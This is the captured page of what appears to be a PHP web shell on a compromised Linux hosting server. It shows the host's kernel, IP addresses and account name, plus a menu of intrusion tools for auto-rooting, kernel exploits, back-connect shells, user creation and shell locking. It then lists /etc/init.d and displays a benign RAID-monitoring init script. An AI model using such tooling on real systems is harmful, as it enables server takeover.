Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
etc /
init.d /
[ HOME SHELL ]
Name
Size
Permission
Action
acct
2.06
KB
-rwxr-xr-x
apache-htcacheclean
2.43
KB
-rwxr-xr-x
apache2
7.99
KB
-rwxr-xr-x
apparmor
3.65
KB
-rwxr-xr-x
apport
2.85
KB
-rwxr-xr-x
atd
1.05
KB
-rwxr-xr-x
cachefilesd
7.08
KB
-rwxr-xr-x
console-setup.sh
1.2
KB
-rwxr-xr-x
cron
2.99
KB
-rwxr-xr-x
cryptdisks
937
B
-rwxr-xr-x
cryptdisks-early
896
B
-rwxr-xr-x
dbus
3.08
KB
-rwxr-xr-x
fail2ban
6.85
KB
-rwxr-xr-x
gological
565
B
-rwxr-xr-x
gophysical
513
B
-rwxr-xr-x
grub-common
985
B
-rwxr-xr-x
hwclock.sh
1.71
KB
-rwxr-xr-x
ipmievd
3.09
KB
-rwxr-xr-x
irqbalance
2.58
KB
-rwxr-xr-x
iscsid
1.47
KB
-rwxr-xr-x
keyboard-setup.sh
1.44
KB
-rwxr-xr-x
kmod
2
KB
-rwxr-xr-x
lvm2
695
B
-rwxr-xr-x
lvm2-lvmpolld
586
B
-rwxr-xr-x
mpt-statusd
5.95
KB
-rwxr-xr-x
ndn-debuglogging
1.02
KB
-rwxr-xr-x
ndn-iptables.disable
2.16
KB
-rwxr-xr-x
ndn-megacli
749
B
-rwxr-xr-x
networking
4.38
KB
-rwxr-xr-x
nfs-common
5.53
KB
-rwxr-xr-x
nginx
4.47
KB
-rwxr-xr-x
ntp
1.46
KB
-rwxr-xr-x
open-iscsi
2.38
KB
-rwxr-xr-x
open-vm-tools
1.8
KB
-rwxr-xr-x
openipmi
13.46
KB
-rwxr-xr-x
php8.1-fpm.dpkg-new
4.19
KB
-rwxr-xr-x
plymouth
1.35
KB
-rwxr-xr-x
plymouth-log
760
B
-rwxr-xr-x
postfix
3.02
KB
-rwxr-xr-x
prepstandby
358
B
-rwxr-xr-x
procps
959
B
-rwxr-xr-x
proftpd
5.2
KB
-rwxr-xr-x
rpcbind
2.45
KB
-rwxr-xr-x
rsync
4.31
KB
-rwxr-xr-x
screen-cleanup
1.19
KB
-rwxr-xr-x
scsitools-pre.sh
2.24
KB
-rwxr-xr-x
scsitools.sh
2.72
KB
-rwxr-xr-x
smartmontools
3.02
KB
-rwxr-xr-x
ssh
3.96
KB
-rwxr-xr-x
standby
2.86
KB
-rwxr-xr-x
stunnel4
5.6
KB
-rwxr-xr-x
sysstat
1.54
KB
-rwxr-xr-x
udev
6.71
KB
-rwxr-xr-x
ufw
2.03
KB
-rwxr-xr-x
unattended-upgrades
1.36
KB
-rwxr-xr-x
uuidd
1.28
KB
-rwxr-xr-x
x11-common
2.7
KB
-rwxr-xr-x
zabbix-agent
1.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mpt-statusd
#! /bin/sh # Author: Petter Reinholdtsen <pere@hungry.com> # License: GNU General Public License v2 or later # ### BEGIN INIT INFO # Provides: mpt-statusd # Description: Fusion MPT RAID controller diagnostic tool # Required-Start: $remote_fs $syslog # Required-Stop: $remote_fs $syslog # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: Check mpt-status values in the background. ### END INIT INFO PATH=/sbin:/bin:/usr/sbin:/usr/bin DESC="mpt-status monitor" NAME=mpt-statusd PIDFILE=/var/run/$NAME.pid STATUSFILE=/var/run/$NAME.status SCRIPTNAME=/etc/init.d/$NAME # Do not touch you can configure this in /etc/default/mpt-statusd MAILTO=root # Where to report problems PERIOD=600 # Seconds between each check (default 10 minutes) REMIND=7200 # Seconds between each reminder (default 2 hours) RUN_DAEMON=yes ID=0 [ -e /etc/default/mpt-statusd ] && . /etc/default/mpt-statusd # Gracefully exit if the package has been removed. test -x /usr/sbin/mpt-status || exit 0 . /lib/lsb/init-functions [ -e /etc/default/rcS ] && . /etc/default/rcS if [ $RUN_DAEMON = "no" ] ; then log_begin_msg "mpt-statusd is disabled in /etc/default/mpt-statusd, not starting." log_end_msg 0 exit 0 fi check_mpt() { echo $$ > $PIDFILE.new && mv $PIDFILE.new $PIDFILE while true ; do # Check ever $PERIOD seconds, send email on every status # change and repeat ever $REMIND seconds if the raid is still # bad. if (mpt-status -i $ID) |grep -q 'state OPTIMAL' ; then BADRAID=false else BADRAID=true logger -t mpt-statusd "detected non-optimal RAID status" fi STATUSCHANGE=false if [ true = "$BADRAID" ] ; then # RAID not OK (mpt-status -i $ID) > $STATUSFILE.new if [ ! -f $STATUSFILE ] ; then # RAID just became broken STATUSCHANGE=true mv $STATUSFILE.new $STATUSFILE elif cmp -s $STATUSFILE $STATUSFILE.new ; then # No change. Should we send reminder? LASTTIME="`stat -c '%Z' $STATUSFILE`" NOW="`date +%s`" SINCELAST="`expr $NOW - $LASTTIME`" if [ $REMIND -le "$SINCELAST" ]; then # Time to send reminder STATUSCHANGE=true mv $STATUSFILE.new $STATUSFILE else rm $STATUSFILE.new fi else STATUSCHANGE=true mv $STATUSFILE.new $STATUSFILE fi else # RAID OK if [ -f $STATUSFILE ] ; then rm $STATUSFILE STATUSCHANGE=true fi fi if [ true = "$STATUSCHANGE" ]; then hostname="`uname -n`" ( cat <<EOF This is a RAID status update from mpt-statusd. The mpt-status program reports that one of the RAIDs changed state: EOF if [ -f $STATUSFILE ] ; then cat $STATUSFILE else (mpt-status -i $ID) fi echo echo "Report from $0 on $hostname" ) | mail -s "info: mpt raid status change on $hostname" $MAILTO fi sleep $PERIOD & # Kill sleep if we're signaled to exit, otherwise we will stay defunct # until sleep terminates. trap "kill $!; exit" TERM wait $! trap - TERM done } check_daemon() { # Let's check if there is a daemon which is really running and not timing out DAEMON_RUN=`ps aux | grep "/etc/init.d/mpt-statusd check_mpt" | grep -v grep | grep -v daemon` if [ -n "$DAEMON_RUN" ] ; then return 1; else return 0; fi } # # Function that starts the daemon/service. # d_start() { [ -f $PIDFILE ] && PID="`cat $PIDFILE`" if [ "$PID" ] ; then log_progress_msg "Daemon already running. Refusing to start another" return 0 elif check_daemon ; then # Use the daemon package to turn this script into a daemon start-stop-daemon --start --quiet --pidfile $PIDFILE \ --oknodo --exec /usr/bin/daemon /usr/bin/daemon $SCRIPTNAME check_mpt return 0 else log_progress_msg "Daemon is already running. Refusing to start another" return 0 fi } # # Function that stops the daemon/service. # d_stop() { if [ -f $PIDFILE ] ; then start-stop-daemon --stop --oknodo --quiet --pidfile $PIDFILE > /dev/null 2>&1 rm -f $PIDFILE else log_progress_msg "Daemon is already stopped." return 0 fi } # This is a workaround function which does not directly exit and # therefore can be used by a restart d_stop_by_restart() { if [ -f $PIDFILE ] ; then start-stop-daemon --oknodo --stop --quiet --pidfile $PIDFILE rm -f $PIDFILE log_end_msg 0 else log_progress_msg "Daemon is already stopped." log_end_msg 0 fi } case "$1" in start) if ! [ -e "/dev/mptctl" ] ; then modprobe -q mptctl 2>/dev/null if [ $? -ne 0 ]; then log_failure_msg "Starting $DESC: failed to load mptctl." exit 1 fi fi log_begin_msg "Starting $DESC: $NAME" d_start ; CODE=$? log_end_msg $CODE ;; stop) log_begin_msg "Stopping $DESC: $NAME" d_stop ; CODE=$? log_end_msg $CODE ;; check_mpt) check_mpt ;; status) status_of_proc /usr/bin/daemon $NAME exit $? ;; restart|force-reload) log_begin_msg "Restarting $DESC: $NAME" d_stop_by_restart sleep 1 d_start || CODE=$? log_end_msg $CODE ;; *) # echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2 echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2 exit 1 ;; esac exit 0
Close